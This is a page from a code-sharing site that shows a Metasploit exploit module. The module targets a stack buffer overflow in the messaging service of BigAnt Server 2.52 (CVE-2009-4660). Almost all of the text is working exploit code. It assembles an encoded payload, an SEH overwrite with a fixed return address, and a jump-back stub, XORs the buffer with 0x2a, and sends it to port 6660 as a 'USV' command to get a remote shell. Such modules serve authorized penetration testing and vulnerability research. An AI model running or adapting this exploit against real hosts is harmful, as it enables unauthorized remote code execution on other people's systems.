CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bigant_server_usv.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
15
'Description' => %q{
16
This exploits a stack buffer overflow in the BigAnt Messaging Service,
17
part of the BigAnt Server product suite. This module was tested
18
successfully against version 2.52.
19
20
NOTE: The AntServer service does not restart, you only get one shot.
21
},
22
'Author' =>
23
[
24
'Lincoln',
25
'DouBle_Zer0',
26
'jduck'
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
[ 'CVE', '2009-4660' ],
32
[ 'OSVDB', '61386' ],
33
[ 'EDB', '10765' ],
34
[ 'EDB', '10973' ]
35
],
36
'Privileged' => true,
37
'DefaultOptions' =>
38
{
39
'EXITFUNC' => 'seh',
40
},
41
'Payload' =>
42
{
43
'Space' => (218+709+35),
44
'BadChars' => "\x2a\x20\x27\x0a\x0f",
45
# pre-xor with 0x2a:
46
#'BadChars' => "\x00\x0a\x0d\x20\x25",
47
'StackAdjustment' => -3500,
48
},
49
'Platform' => 'win',
50
'Targets' =>
51
[
52
[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
53
],
54
'DefaultTarget' => 0,
55
'DisclosureDate' => '2009-12-29'))
56
57
register_options([Opt::RPORT(6660)])
58
end
59
60
def exploit
61
connect
62
63
sploit = ""
64
sploit << payload.encoded
65
sploit << generate_seh_record(target.ret)
66
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
67
sploit << rand_text_alphanumeric(3)
68
sploit << [0xdeadbeef].pack('V') * 3
69
70
# the buffer gets xor'd with 0x2a !
71
sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
72
73
print_status("Trying target #{target.name}...")
74
sock.put("USV " + sploit + "\r\n\r\n")
75
76
handler
77
disconnect
78
end
79
end
80
81